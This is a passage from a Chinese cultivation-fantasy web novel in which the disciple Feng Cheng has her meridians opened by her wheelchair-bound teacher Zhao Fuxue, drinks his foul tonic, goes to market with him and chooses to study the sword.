封澄冻得瑟瑟发抖:“你不知道啊?就是果子,放火上烤一烤,会更甜一些。” 赵负雪忽然心中莫名一动。 “甜一些?” 封澄见他有反应,心中大喜,连连点头,举着手里红果子道:“这个果子是不行了,汁水太多,也太脆……你明日放我出去,我去菜市买好果子来给你烤,保管够甜的!” 图穷匕见不过如此,赵负雪淡淡笑了:“明日清晨。” 封澄眼睛一亮,猛猛点头,清晨就清晨,能出去就好,哪怕放个信再被抓回来也行的。 赵负雪又道:“我随你去。” 封澄一言难尽地看着他,半晌,强颜欢笑道:“菜市喧闹,又乱又吵——你们仙人也肯去这种地方?” 赵负雪看着她这副欲盖弥彰的表情,忽然眼底便有些若有若无的笑意:“你没银子。” 封澄:“……” 赵负雪整衣起身:“为师去结账。” 第52章 第52章引气入体(前世 封澄面如死灰地坐在膳房灶旁,抬眼看了看鱼肚白的天色。 早市还是没去成的,这仙人捏了只鸟放出去,大清早便有人叩门来送了各色果子,封澄还睡得迷迷糊糊,骤然便被鸟叨了起来。 她强打起精神来烤了一盘果子,险些困得栽倒在灶中, 谁料赵负雪拿起,看了看,只留下轻飘飘一句: “……不对。” 然后便一口没吃,险些把封澄气死过去。 “不吃正好,”封澄泄愤地把最红最大的一串塞进嘴里,“不识货的傻子。” 作为一个仙人来说,赵负雪实在太闲了,封澄收拾好果子,反正也睡不着了,便继续去持之以恒地骚扰他,赵负雪平素足不出户,大概总在书房便是在茶室,封澄在茶室未寻到赵负雪,便摸去了书房。 进去一看,果然在此。 他坐在轮椅上,墨发披散,单手抵太阳穴,眉宇不动,手上托着一本古旧典籍,专注无比,封澄蹑手蹑脚地凑到赵负雪身后,然后轻轻俯身,小声道:“……仙人,看书呐?” 赵负雪眼皮都不抬一下:“我似乎在你居室内留了典籍。” 封澄绕他打转:“是这样,本人大清早连觉也没睡,起来烤果子,没有功劳也有苦劳,您看……” 说着,她又看见赵负雪并未束发,于是讨好殷勤地拎了个发带去,为他束发。 赵负雪平静道:“典籍中有修行之法,引气入体后,一日间便无需多少睡眠。” 封澄:“……” 封澄道:“我是这个意思吗? 赵负雪看了她一眼,合上眼皮,片刻,将手中书册置于一旁,起身道:“既然如此,我明白了。” 他明白什么了?封澄额头青筋直跳。 忽然间赵负雪单手按住她肩膀,紧接着后背上便传来几道砰砰之声,霎时灼痛袭来,封澄险些咬掉自己的舌头。 一股清澈冰冷的灵力便顺着她后背大穴中打了进来。 这股灵力看似平静,入体瞬间,经脉间却如同吞下了一座大冰山,封澄当即吐出一口凌霄血来,身后赵负雪眉头也未动一下:“撑好,梳理经脉。” 封澄艰难地回过头,给了他一个充满疑惑与愤怒的表情:“……?!” 赵负雪面无表情:“照你的意思来。” 封澄七窍生烟道:“我什么意思……”说着,一口血又呛上来,赵负雪皱眉道:“运气,不要多话。” 绝大多数修士引气入体,都是自行修炼的,不过若是自身难以引气,也并不是没有他法。 那就是寻一个灵力极为强大的前辈来,硬生生打通此人经脉,强行引五行之气而入体。 这种引气方式能极大限度地拓宽修士的经脉,令其修行前期无比顺畅,但对于打入灵气的这方而言,却是个不小的难题。 毕竟凡人经脉脆弱,打得狠了,爆体而亡,打得轻了,灵脉不通,全然的控制总比全然的爆发困难许多,故能行其道者,少之又少。 封澄对此道也略有耳闻,眼见着灵力如开弓之箭无法回头,她咬了咬牙,坐起身来,一边开始运气,一边道:“……仙人,您靠谱吗?” 赵负雪又触了她身后几处大穴,淡淡道:“第一次做。” 封澄:“……” 封澄咆哮道:“第一次做倒是提前打声招呼啊,至少不要这么自信满满地抬手就爆啊!?” 说着,又一口血喷出来,赵负雪连眉毛都未动一动,置若罔闻道:“少言,兴许能留得一命。” 这兴许二字当头砸来,封澄差点当场给他跪下。 此时此刻,神仙来了也只能乖乖运气,封澄只好希望这位仙人的灵力别太强横,即便给她通一半堵一半,也别把她全身经脉给撑爆了。 书室内一时安静了下来,只有封澄急促的呼吸声,与灵力冲撞经脉骨骼时的轻微沙响。 她闭目,依着本能而与体内的灵力一同起伏,触及时,封澄才发觉,这仙人的灵力看似平静温润,实则冰冷骇骨,仿佛是徘徊在海面上的巨冰,稍不留神,便以不容躲避之态攻杀而来。 她感觉体内有一股混天的热意从丹田烧来,仿佛干涸的土地骤然引泉一样,向她周身灵脉汹涌而现,赵负雪察觉到此,半合的眼睛微微抬了抬。 他抬手,更为悍然的灵力从封澄身后大穴击打而入。 从封澄体内生出的这股灵力,精纯得令天下血修垂涎。 年幼修士怀此灵力,便如小儿执金过闹市,更何况是封澄身边皆为寻常凡人,她不肯引气入体,倒阴差阳错地成了护佑她平安的护身符。 璞玉一般的天才。 烫,几乎是灼人的烫。 封澄感觉自己仿佛要从里面烧起来了,每一滴血都是在沸腾的,这股热意几乎吞噬了那仙人的寒意,封澄甚至觉得自己正在将那寒意一股股向外面逼去,灵力逆流之际,封澄只觉五脏六腑如同滚在沸水里煎熬。 忽然间,这股热意凝滞住了。 寒意不知从何处奔涌而来,强行平复了她几乎沸腾的灵脉,封澄牙一咬,运气将灵流向周身散去,这寒意与她身上热意此消彼长,似乎诱导,又在压制。 灵力游走,遍遍洗涤,她平静了下来。 不知过了多久,封澄满头大汗,终于睁开了眼睛。 封澄一睁开眼,便知晓身体已然完全不一样了。 她茫然地站起来,抬抬手,抬抬胳膊,踢踢腿。 身体的每一处都轻盈而有力,似乎有数不尽的热源从她丹田处涌现,封澄只觉得自己从未像如今这般自由过,仿佛这世间没有她去不了的地方一样。 赵负雪收回手,坐于书桌旁,给自己倒了一杯茶:“如何。” 封澄怔怔地看向他,此时即便是傻子,也该明白方才引导她的冰冷灵力是从何而来了,她顿了顿,头一次真心实意道:“感觉不错。” 赵负雪的面色不动,垂眸将茶水饮下;“如此便好,今日且去休息,明日寅时晨起,记诵《五行经》。” 《五行经》是修道之人入门开蒙的东西,寻常天机师读的第一本书就是它,讲的是五行之力如何相克相生,普适程度几乎等同与凡世中的《识字经》,封澄怔怔地看了看自己的手心,灵力如泉喷涌而出。 这种滋味并不坏。 她沉默片刻,道:“为什么要这么做?” 赵负雪看了看她:“你太弱了。” 封澄心底方才升起的那点细微的尊重有些被打击了,她道:“太弱了?那只是比起你而已!” 赵负雪道:“将来要你命的人,并不会在意这些。” 静了静,他又喝了一口茶水,垂下眼睛,端详着他手上的指环:“我留你有用,若你被杀,会很麻烦。” 封澄心底的感激也被打击了,她忍了忍,转身便走,好悬没把书房的门摔得震天响。 次日清晨,封澄果然睡不着了。 说来也怪,平素她是最能睡的人,不光夜里要睡,白天得空也要睡,碰上不需要出门杀魔的时候,给她一个硬榻,她便能从正月初三睡到来年十五。 封澄依稀记得,在年幼时,阿翁阿嬷经常带着医师、神色惊慌地破门而入。 原因无他——睡得太久,阿翁阿嬷以为她死了。 她睁眼看着泛鱼肚白的天色,在榻上烦躁地翻来覆去,片刻,猛地坐了起来。 根本没有丝毫睡意,身体的精力仿佛取之不尽用之不竭一样,她几乎能跳起来把鸣霄室的地从头到尾翻个遍——成为仙人的代价,竟然是把睡眠这种人生顶级享受剥夺掉,当真是令人忍不住流泪。 “只是引气入体便这样了,那日后可还了得,”封澄恹恹地想,“要是修到了最后,修成了一副了无生趣的样子,还不如不修来的好,” 活生生的例子便是那个仙人。 那仙人吃也不会吃,睡又睡不着——兴许连梦也做不了一个,天天坐在池子里吹冷风,过起日子来仿佛是掺着眼泪数冰碴子。修行之人若是活到这个份上,当真还不如一根绳子吊死了。 ——然后仙人还寿命悠长,这日子过不到头,大概还死不掉。 她草草梳洗好,正漱口,耳边忽然飞来一只亮晶晶的小鸟,封澄认得这小鸟,当日赵负雪召医修来为她接肋骨,便放出了这样一只小鸟。 小鸟看起来晶莹可爱,封澄眼睛登时一亮,心痒难耐,忍不住好奇地戳了戳。 谁料那小鸟一触即散,晶莹可爱的小鸟荡然无存,取而代之的是赵负雪那平静且不近人情的声音回荡在她的耳边。 “带《五行经》,来茶室。” 这声音里连晨起的睡意也没有,看着便是一晚上没睡,当真是实打实的应了封澄方才所想。她只想装作没听到,谁料这声音又重复一遍。 “带《五行经》,来茶室。” “带《五行经》,来茶室。” 大有把人原地吵死之趋势,封澄咬牙切齿道:“——知道了。” 声音霎时便不见了,封澄走向居室中书架,这书架颇大,藏书也多,乌压压地颇为壮观。 《五行经》放在最显眼处。 厚度骇人,几乎等同于半个她。 封澄的脸霎时往下一拉。 第53章 第53章怪她身量不足(前世…… 《五行经》既无聊又啰嗦,封澄坐在赵负雪对面,只看了几行,久违的睡意便席卷而来,她慢慢地垂下了头。 —— 赵负雪的茶杯不轻不重地落在案上。 封澄猛地惊醒过来,赵负雪道:“你未经修行便引气入体,若不通五行之道,爆体而亡指日可待。” 她的困意登时被赵负雪一句话吓得烟消云散;“不念书会就死?” 赵负雪平静无比:“对。” 静了静,他又道:“在灵气逆行爆体而亡之前,我会给你个痛快。” 封澄试图在赵负雪那张冷若冰霜的俊脸上看出半丝吓唬人的痕迹,赵负雪的面上却没有丝毫波动。 要是因为文盲这个原因而送死,那真是死到黄泉也丢人,封澄咬牙端起赵负雪拆分开的《五行经》分册,一字一句地读了起来。 修士的身体比凡人强健许多,封澄读到日上三竿,才久违地感觉到了些微饥饿,她合了书,揉揉眼睛,对赵负雪道:“仙人,你饿不饿?” 赵负雪披着身后柔和日光,令他看起来如同温和的神像,他看着封澄蔫巴巴的样子,沉吟片刻,道:“早市未完,可去用饭。” 封澄的眼睛唰地一下就亮了——意思是,她能出去了? 赵负雪却像看出了她心中所想,他道:“我与你随行。” 封澄:“……” 也不是不行,好歹是能出去了,封澄一口应下,转身非常迅速地把手搭在了赵负雪身后轮椅上,警惕道:“今天不能随意叫个鸟儿来糊弄了,这次我一定要亲自出门,屁股落在摊位上才算数。” 赵负雪的手陡然停住。 自从这把轮椅与他随行后,似乎便无人会在他面前引起此物的存在来了。 常人竭力忽视他身后的轮椅。 人人皆低身,人人皆敬畏。 赵负雪颇感荒谬地想,原来世人比他自己还不能接受他的残缺。 身后封澄却时很尴尬,她的手停在轮椅背后,也尴尬地一凝:“……” 这轮椅谁打的,怎么这么高? 还有,把手呢? 她琢磨半晌,勉强找了个可以搭手的位置,咬牙把赵负雪往外推去,怒道:“给你打轮椅的工匠本事不行……这椅子打高了,不舒服,叫我阿翁来,一定不会给你打这么高。” 赵负雪莫名便笑了,他垂眸道:“你阿翁,会打轮椅?” 封澄磨了磨牙,抬起手来把住了轮椅后的兽首装饰,然后向外推去,不耐烦道:“当然,他是长煌大原上最厉害的木匠,他做的木器,比铁器还结实,他给人做轮椅,从来都是细细量过的。” 这仙人的轮椅不知是什么材质,封澄心中嘀咕,阿翁做了一辈子木匠,也未往工坊中运过这样的木材。 触手生凉,奇沉无比,通体玄黑,简直像是某种奇怪的玉石。 他的乌发垂在身后,封澄推着赵负雪,鼻翼间似有冷香气,她皱眉抽了抽鼻子,一时间有些想打喷嚏。 赵负雪忽然道:“你身量上有些不足……今年年方几何?” 封澄瞪大了眼:“?” 他轮椅打高了,怪她身量不足? 赵负雪任由她推着,平静道:“你若已然年至十八,却还没两把剑高,于习武之道上大抵是受限颇多——至少枪法是学不了。” 封澄额间青筋暴起,她咬牙切齿地推着他的轮椅,力道之大几乎能把那兽首掰下来:“……十四五岁,我还能长,再说长不高怎么了——枪法,谁稀罕!” 她的年岁连自己也说不清楚,据阿翁阿嬷说,她被捡到时也就是大概四五岁的样子,现在也就当是十五六岁罢了。 赵负雪点点头,道:“如此便好。” 调理饮食,多少还能长些。 二人说话间,便已经出了鸣霄室,不少勤勉修士已然早练完毕,此时正在回去路上,见赵负雪轮椅,众修士忙收剑,恭敬施礼道:“赵先生。” 封澄面无表情地推着轮椅经过这群修士,连停留都不停留,几个修士这才看见身后的封澄,登时,几个人的嘴便缓缓张开了。 待二人走过,几人大惊失色道:“那,那推着赵先生的人,是,是谁?” “好似是前几日赵先生收的弟子!” “她,她竟敢……赵先生的轮椅,那岂是能碰的东西!” “这小丫头年岁不大,胆子不小,那轮椅一遮,我方才几乎未曾瞧见她。” “听说是个实打实的硬茬儿,前几日我在典礼上,亲眼瞧着这位小师妹把姜徵擒了,啧啧,不愧是……” “哎,她姜家最为小气,听说小师妹因此被姜家暗部盯上了,姜皇后只想借此杀了赵先生的徒儿,给她姜徵腾位子呢!” 正当几人窃窃私语之际,身边众人却陡然变了脸色,忙七手八脚地拽着这几个多话之人,这几人一抬头,只见一女子面无表情地负刀走过,墨发白衣,长发如练。 这几人登时脸霎时雪白,一时间连头也不敢抬,噤声低头,恨不得将自己缩进地缝里面去。 竟是姜徵晨起练刀,此时也收剑去膳房了。 好巧不巧,这番话正被她听了个正着。 待姜徵的身影远去,多嘴几人抱头哀嚎道:“这下可好,姜家暗部虽杀不了赵公子的徒儿,可若是对着咱们动了手……?!” 姜徵并未将这几只杂毛雀的聒噪听入耳中,她忽然抬起头来,静静地看着远方封澄推着轮椅的背影。 年岁不大,灵气微弱,只一身蛮力有亮眼之处。 本不值得放在心上。 她看了片刻,转身入了膳堂。 膳堂打饭的弟子本一脸木然地给众修士打饭,不料忽然见了姜徵,他打饭的勺登时发起抖来,见姜徵站着不动,他迟疑道:“姜,姜姑娘今天,亲自来吃饭啊?” 话一出口,这弟子暗骂一声,恨不得给自己嘴巴一下。 姜徵的声音冷冷:“两个包子,一碗红米粥。” 打饭弟子小心翼翼地将包子和米粥放在了木盘上,正递给姜徵,却见姜徵拇指忽然一动,雪亮长刀陡地弹出刀鞘来,刷刷两下,刀光炫目。 这弟子心中大叫一声吾命休矣,绝望地闭上了眼睛。 预料中的痛楚并没有出现,他怂怂地睁开一只眼睛。 只见木盘铮亮反光。 两个菜包井水不犯河水地躺在木盘两边,各自被整整齐齐地分为八份,作盛开状。 片刻,柔软的、青绿的菜馅才刚刚反应过来一样,缓缓地从旁边滑了出来。 姜徵抬了抬下巴,居高临下,手上长刀杀气骇人:“再来两个。” 逛完早市,封澄又去在早市上采购了两大篮果子,权作她昨日不能外出之补偿。 令她意外的是,洛京商贩好像分外热情些,她去买果子,大多商贩不光不肯收钱,连头也不抬一个,推着嚷着的便把果子推了过来,封澄拿着果子思索片刻,转头便一脸肃容:“我知道了,一定是他们心肠好,看你站不起来,所以送果子给你吃。” 赵负雪单手支着下巴,闻言,深深地看了她一眼。 顿了顿,她看向赵负雪的眼神有些一言难尽:“其实你能站起来的吧——你揍我的时候就站起来了。” 赵负雪冷冷看着她。 封澄委婉地道:“要不你下来走两步?” 赵负雪连话也不说一句,转头,轮椅走了。 封澄觉得方才有一瞬,那轮椅似乎是打算贴着她脚背碾过去的,她心有余悸地缩回脚,眼睛忽然一亮。 此时不跑,更待何时?! 还没等抬脚跑路,熟悉的灵力便冲向封澄后颈,把封澄拎回了轮椅旁边。 这位仙尊的灵力堪比八爪鱼,简直能称之为 无孔不入,封澄盯着他的背影,恨得牙痒,偏生此时又苦哈哈地拎着两篮果子,心中怨气更是堪比千年老尸。 她的目光忽然飘到了仙尊背后的兽首上。 封澄挑了挑眉,眼睛一亮。 这次一路上收到的视线比方才更多些,封澄没太当回事,临进鸣霄室前,她鬼鬼祟祟地从赵负雪的轮椅后面拎下来两篮果子,转头便冲去拾柴烤火。 上次烤了不吃,这次塞也要塞进他鼻孔里,封澄恨恨心想。 赵负雪垂眸,正要合上院门,却听一人大笑道:“赵师兄,听闻你今日去早市了?” 来者正是温不戒,赵负雪摇着轮椅,去了花树下,给自己倒了一杯茶:“消息倒是灵通。” 温不戒却笑得意味深长起来:“那倒不是,主要是学生里面传遍了。” 赵负雪握着茶杯的手一顿,似乎察觉到什么不对:“何出此言。” 温不戒终于忍不住大笑起来:“我今日去给乙班的学生上课,传言道赵先生从早市回来,轮椅左右各挂了一篮果子,轮椅竟还有如此妙用,哈哈哈哈哈!” 赵负雪的茶杯中霎时炸出一片冰花。 正在此时,封澄捧着柴火,飞也似地来到了花树下,她不知从哪里寻来了铁签,此时两只手上皆抓着被串成串的、红彤彤的果子。 她对温不戒的印象倒是不差——毕竟断了的肋骨就是他给接上的,封澄想了想,觉得烤好的果子可以分他一串。 温不戒笑眯眯的,他正要给封澄打招呼,却听见身后一道冷声:“出去。” 这般一看,赵负雪面无表情,手中把玩着莹莹白润的玉杯,温不戒面上笑意一凝——自打赵负雪疯过那段日子后,他见赵负雪便多少有些发怵,闻言,温不戒果断把备好的药一丢,脚底抹油是也。 封澄看着温不戒顺手关门的背影,心底忽然有些不妙的预感。 第54章 第54章半身白雪,半身桃花(前…… 封澄面色凝重道:“这东西真的要喝下去吗?” 赵负雪端然坐于花树下,闻言,端起茶杯,轻描淡写道:“培元固气之药,另有我私藏之药为辅,于稳固气海上,最为有效。” 可是…… 封澄看着药碗,吞了吞口水。 赵负雪微笑:“怎么?” 封澄委婉地指了指碗:“这实在不像人喝的东西。” 岂止是不像人喝的东西,简直是不像人做的东西,眼前这碗漆黑汤药浓稠得堪比老痰,漆黑的表面上是极为诡异的五彩斑斓,另有奇怪动物的肢体,看起来似乎是某种触足很多的水中物种。封澄发誓,如若在长煌大原上看到这种东西,她铁定把它连根刨起,然后埋到欠了阿翁十两银子的那家人后院里。 赵负雪道:“不喝也罢,只不过辛苦多背几日《五行经》。” 说着,他就要将这药碗端走,封澄肃然正色,一把抓住他的衣袖:“等等,你说什么?” 赵负雪适时地露出一副可靠的表情:“记诵《五行经》,便是担忧你灵气逆行——而此药专防灵气逆行。” 封澄的眼睛都不敢错开,她回想起赵负雪从药炉上取下这样一碗药的神态:“可我亲眼看到,刚才这药一煮出来,你眼都不眨地把药炉扔了。” 赵负雪微笑:“……” 封澄怀疑不已:“我发现一个问题,你这人的话,大概是不能全信的。” 赵负雪静静地与她对视,片刻,端起药碗,转头道:“既如此,你便乖乖记诵《五行经》,七日之内正是灵气不稳之时,若你七日未记诵全书,后果自负。” 七日! 封澄登时觉得天塌了,她想起那摞起来半人高的《五行经》,当即毫不犹豫地伸手道:“我觉得我可以坚持一下,把药拿来!” 这药的样子着实难看至极了,封澄只希望它的味道能稍微让她好过一些。 她怀着壮士断腕的心从微笑的赵负雪手中接过了这碗药,左手端药,右手死死地捏着鼻子,五彩斑斓的气泡浮在药碗表面,封澄盯着它,片刻,眼睛一闭,头一仰,毫不犹豫地将药灌了下去。 苦药算什么,赤脚医修的药她都吃过,药中一丝甘味都无,她照样痛痛快快地喝了。 培元固本的药,如此寻常的疗效,想必不少修士都喝过了,若是难喝,那些修士能肯喝吗? 药汁落在舌尖的过程,像个漫长不已的慢动作。 这药触及舌头的刹那,封澄耳鸣了。 仿佛成千上万个钟齐齐在她脑海中敲响奏鸣,又像是成百上千头天魔一齐咆哮,再比如山崩海啸,海水倒灌,封澄的耳朵铛铛两声,随即便是连绵不尽的嗡鸣,如若是苦,是苦不成这样子的,如若是酸、是甜、是辣,都不会变成这样子的。 恍惚间,封澄似乎看见了远处的一条河,她幼时养过的那条小狗冲她摇着尾巴。 但话又说回来,那狗不是三年前死了吗? 封澄的膝盖一软,随后仰面朝天,瘫倒在了地上,耳边隐隐有轮椅碾压落花的声音——她的听觉被放大了无数倍,然后眼中便晃入赵负雪含笑的、模糊的脸。 封澄有气无力道:“你绝对是故意的。” 赵负雪不否定:“不会害你……睡一会儿吧。” 这句话仿佛催眠,封澄本就头脑晕晕的,听闻此言,竟然真的昏昏沉沉地睡倒了过去。 院中石板有些凉,此时正是流火之时,所幸封澄体内灵气炙热,倒也不惧这些凉气了。 赵负雪坐于花树下,面前的茶碧绿如春泉。 药,是温不戒专程配来的培元固本煎。 与寻常药铺里所售卖的不同,这培元固本煎药材上好,都是世间难寻之宝,且温不戒觉小姑娘怕苦,特意添了些甘甜的仙材于其中。 如若这么煮出来,想必是味道不错的药。 封澄的培元固本煎中,加了一味不一样的药。 茶绿得令人心醉,简直像一湾碧玉,而不像茶,赵负雪抬手,将茶一饮而尽。 这味药似乎是周寻芳留下的东西,是养气吊命之霸王药,但味道古怪,常人难以接受。 名为相思不苦。 当年温不戒为他开药养伤,首选的便是这味相思不苦,饮药的日子长了,他倒也习惯,就这么慢慢地无视了这味相思不苦的味道。 时至如今,他已能将药当作茶来喝。 他目光中噙着微不可察的笑意,看向地上不省人事的封澄。 日子漫长,他竟忘了这相思不苦,原是百味俱全,比苦涩更加苦涩。 “算了,”他看着桌上摆成一排的烤果子,又看了看晕得四仰八叉的封澄,“送你回去。” **** 封澄再睁开眼的时候,天已经隐隐擦黑了。 “这么晚了?”她躺在了自己的居室中,背后是熟悉的床榻,封澄吃力地爬起来,“晕了好久……” 赵负雪的药苦得邪门,很难相信他不是故意的,封澄思来想去,感觉最近也没得罪过这仙人,想了想,只能把这事归于她挂在赵负雪轮椅上的那两篮果子上。 “好一个小肚鸡肠的仙人,”封澄强行把那味道从脑海中赶了出来,“不过是借他轮椅挂个果子,至于这么害人!不行,此后他端来的药,一口也不能喝,说出花儿来也不能喝——简直是杀人不见血。” 封澄穿好鞋子,正要气势汹汹地去兴师问罪,鼻子间却忽然便闻到了什么香气,她循着香气,飘飘悠悠地来到了书案前:“好饿……修道之人,也会这么饿吗,这是什么东西?” 摆在桌上的是三菜一汤配一碗米饭,三菜荤素俱全,其中一道还是卖相十分不错的烤肉,那一汤是某种禽类,封澄拿勺子搅了搅汤碗,判断道:“应该是用药材煮的汤……能喝吗?” 腹中适时地咕噜一声,封澄不管三七到底是二十几了,她坐到书案前,端起米饭,心道:“人,可以刻薄,但不能刻毒——他那么大一个人,总不至于和饭过不去。” 封澄闭了闭眼,将米饭送入口中。 刹那间,封澄猛地睁大了眼。 甜,香,糯,所有的褒奖之词用来形容这口米饭都不过分,这米饭碧绿如玉,入口间便是芳香的灵气,与其说是吃饭,不如说是对舌头进行了一 场极致的推拿,封澄只觉得从没这样舒泰过,她眼睛发亮地瞄准烤肉,放入口中的刹那,封澄热泪盈眶。 她从没吃过这么好吃的肉,哪怕是长煌大原上新鲜现宰的牛羊都没有这口肉的滋味鲜美,这烤肉的火候恰到好处,油脂柔和地包裹着肉的分毫,比起说是吃一块烤肉,更像是在搅动一汪油汪汪的肉泉。 封澄吃着吃着,就不由得流下了滚滚热泪。 今日这舌头,刚下了十八层地狱,经了滚油锅过刀山的苦,又突然封了官拜了爵,春风得意大摇大摆起来,到一时间人生的大起大落都让这舌头尝了。 还有这碗汤,封澄怀着虔诚的心,端起了汤碗,喝了一大口。 “噗——!!!” 封澄一口汤当即喷在了地上,这味道古怪无比,仿佛是凌空给了舌头一刀一样,她抹了抹嘴,难以置信地看着这碗看似无害的汤。 恰在此时,一只亮晶晶的鸟停在了汤碗边,封澄看着它抬了抬脖子,随后口吐人言道:“汤中有药草,不许浪费。” 这口汤的味道诡异地熟悉,封澄眯了眯眼,随即聚精会神地凑近了这只亮晶晶的小鸟。 小鸟昂首挺胸,看着与那小气仙人颇有几分神似,它由且叨叨不绝道:“汤中有药草,不许浪费。” “汤中——嘎啊!” 说时迟那时快,封澄瞅准机会,一筷子夹住了鸟头,随即把它往汤碗里一丢,那灵力所化的小鸟登时烟消云散,她咬着牙笑:“鬼才喝你这怪里怪气的药,小心眼子。” 饭吃完,她觉得碗筷似乎该收拾一下,可她虽进过鸣霄室的膳房,却并未在那膳房中看见过什么放置剩饭的地方,正当她在原地纠结之际,又来了两只亮晶晶的小鸟,两只小鸟飞到托着三菜一汤的木盘旁边,随后一鸟一边,七上八下地叼着盘飞了起来。 封澄好奇不已,单手撑着窗台便随之翻了出去,两只小鸟越飞越高,越过鸣霄室的院墙飞了出去,看着往南边去了,被惹起好奇心来的封澄当即翻墙就要出去,谁料还没等她攀到墙上,身后一股熟悉无比的力道便拎着她的后颈,将她硬生生地拖了进来。 这诡异灵力就这么焊在了院墙上,定然是那小气仙人的手笔,果然,封澄抬起眼来,便看到花树下一辆轮椅。 她本想翻个白眼。 却见仙人端然坐在轮椅上,如玉的手指松松搭载轮椅两边,半院漆黑,半院皎月,寂寥清净。 唯有一树格外茂盛的桃花簌簌而颤。 他居于花树下,已然睡着了。 封澄的呼吸一停。 仙人墨发如练,流水般泻在轮椅上,半身白雪,半身桃花,沉眠不醒。 堪堪间,一身颠倒众生的风华。 封澄的胸口忽然一紧,这个白眼便翻不出去了。 奇怪,她心想,此时明明不是桃花逐水的时候,为何偏在此处,有如此绝色的一树桃花呢。 第55章 第55章长生(前世 日子如流水一般过,尽管封澄仍在赵负雪的鸣霄室里鸡飞狗跳,可赵负雪只管铁腕镇压,按头劝学,封澄说到底也是初出茅庐,终究没翻起浪来。 这鸣霄室的生活平静无比,封澄竟住出了山中无甲子、寒尽不知年的味道来。 待她不知多少次攀上鸣霄院的院墙,封澄忽然发现,外面走过的学生已然换了秋衫。 竟已是到秋时了。 此日,赵负雪照例坐于花树下,看封澄风风火火地打拳。 这棵桃树不知是什么仙种,寻常花树只开一季,开过即败,它却不一样,红云似锦,蜿蜒盘扭,好似年年岁岁都开不尽一样。一套拳毕,封澄大汗淋漓,于是走到花树边,抽了一早备好的毛巾擦脸,赵负雪静静看着她,忽然道: “你是不是长高了?” 封澄擦脸的手一顿。 她低下头看了看,下裤短了一截,不似从前一般束在脚腕,而是横在了小腿上。 说来袖子也短了,这袖子还是赵负雪给她缝的,当时只是不遮手腕,现在几乎退到了小臂上,封澄大惊失色道:“长这么快,难怪我骨头缝都是酸的。” 赵负雪点点头。 修行之人引气入体后,身体大都会有一些变化,身形、容貌,多少会有些,再加上她近日的食谱也是他点头瞧过的,不长高才怪了。 赵负雪沉吟片刻,道:“今日先到这里,你且去沐浴,我命人送新的弟子服送来。” 顿了顿,他又道:“此后也不必打拳了,今日去挑个喜欢的兵器,入道。” 一听能挑兵器,封澄的眼登时亮了,她高兴得把毛巾一丢:“真的?” 赵负雪道:“此道轻易不可改,须谨慎行事,不得冲动。” 封澄忙不迭点头:“我懂我懂,那些闯荡江湖的侠士就是这样子的,有侠士名号,就有兵器名号,我当时看的那个话本子,主角就拿了一把叫见素的……” 赵负雪捏着茶杯的手轻微一滞,他抬眼看了看喋喋不休的封澄,随后垂眸慢慢地饮尽杯中茶水。 “说这么多,”他道,“你想好要修何道了吗?” 喋喋不休的封澄忽然沉默了一下。 少女的身条是很适合习武的,骨肉均停,身量不高也不矮,力量奇大,身法奇快,只拿体术来说,不光能打个平辈无敌手,兴许几个出名的体修都不会是她的对手。 如若按寻常观念来看,既然她体术出众,力量巨大,便该尽量地将这优势打出去,封澄也知晓这个道理,抡锤、用斧,都是摆在前面的最好选择。 这本没什么好纠结的。 封澄看了看赵负雪,忽然道:“你是修什么的?” 赵负雪默了默,似乎没想到她会问这个问题,他敛眸:“只凭你本心去选。” 每人都有自己的道,于修行一途中,领路人的作用远小于本心,道至最后,修的都是自己,这道理封澄也明白。 少女的眼睛是很亮的一双桃花眼,这双眼底从来只跳动着一簇火花,封澄的人生中有不少头脑一热的选择,比如手无寸铁地追杀天魔夜袭八十里,比如说跟着素不相识的赵负雪来到洛京,再比如说那日仙人于树下安眠,她忽然就寻了条毯子来丢在他身上。 她很平静地笑了:“你怎么知道这就不是我的本心?” 既然如此,赵负雪便道:“修剑。” 封澄歪了歪头,毫不避开地看着他的眼睛,声音清晰又坚定:“我也要修剑。” 花树忽然便一颤,簌簌风响。 站在轮椅对面,少女已如翠竹般挺拔,引气入体不过几日,她便如同璞玉一般光华难掩了起来,尤其是那双赤诚而含笑的双眼,道令人无法忽视。 早练体热,她用一条发带将长发高高束在了脑后,是一副干脆利落的打扮,赵负雪静静地看着她,道: “我似乎觉得,这绝非你的道,”他道,“不过既然要修,也随你。” 封澄点点头:“就是修剑,绝不改了。我先去沐浴,仙人。” 说完,她便自顾自地去了浴房。 赵负雪看着封澄的背影,半晌,忽然笑了笑。 待封澄洗浴完出来,寝屋内已被摆上了饭食,另有几套簇新弟子服放在榻边,封澄一试,果然正好。 她换好衣服,便去食案边坐下,这几十日来一贯如此,晨练完便是用饭,吃过后照例是两只晶莹小鸟儿抬出去。 她这几日胃口格外好,今日也不例外,待晶莹小鸟扑棱棱地将木盘托出去后,封澄也顺着窗户一跃而出,赵负雪已然在花树下等着她了,见她翻窗出来,他唇角轻微地勾了勾:“来。” 不用赵负雪说,封澄便非常自然地推上了他的轮椅。 “这几日我总听见外面有些喧闹,”封澄一边推着他往外走,一边道:“似乎还有什么敲锣打鼓的,是有什么节日吗?” 辘辘的轮椅声中 ,赵负雪摇了摇头:“不是节日。前日姜家少家主即位,声势颇大,大概是这件事吵到你了。” 从鸣霄室出来,便是天机院,几个晨练的学生正结伴往膳堂去,见封澄推着赵负雪出来,忙恭敬施礼:“赵先生。” 二人从学生中路过,封澄偏头道:“姜家?什么姜家,当今皇后那个姜家吗?” 赵负雪点点头:“正是。” 顿了顿,封澄道:“我在长煌大原便有听闻,姜家的女子个个都是天资卓绝的修士,比同家族的男子出息千百倍去。” 赵负雪目中便有些笑意:“传到长煌大原去竟是这样了,倒也没错,姜家血脉强横,只应于姜家女子身上,男子于修行一道上多有阻碍,故多身入凡俗。” 好新奇,封澄瞪大了眼睛:“原来如此。想必这少家主定是个极为不凡的女子了。” 赵负雪道:“你早已见过此人。” 见过?! 封澄费力地于脑海中搜索,在洛京这段日子,说她是足不出户毫不过分,一日间只对着赵负雪那张脸,若是有什么金灿灿的姜家少主经过,她不该没印象的。 赵负雪道:“你来洛京第一日,便将人擒了。” 封澄:“……” 她回想起那道凛冽刀光,大惊失色:“那就是姜家的少主?” 正说话间,一伙人便勾肩搭背从二人身边飞过:“听说东市还有一场呢,我们快些去,说不准还能吃到姜家摆的席面!” “唉,前日我要去考第二门符道课,竟把这种大热闹耽误了。” “快莫说了,速速赶路,晚些连灵果都没得吃。” 封澄一听有热闹凑,登时眼睛有些亮,可一想到那是姜家的热闹,心中又嘀咕:“可惜,我若去凑了这个热闹,保不齐要被当成搅局的打出来。” 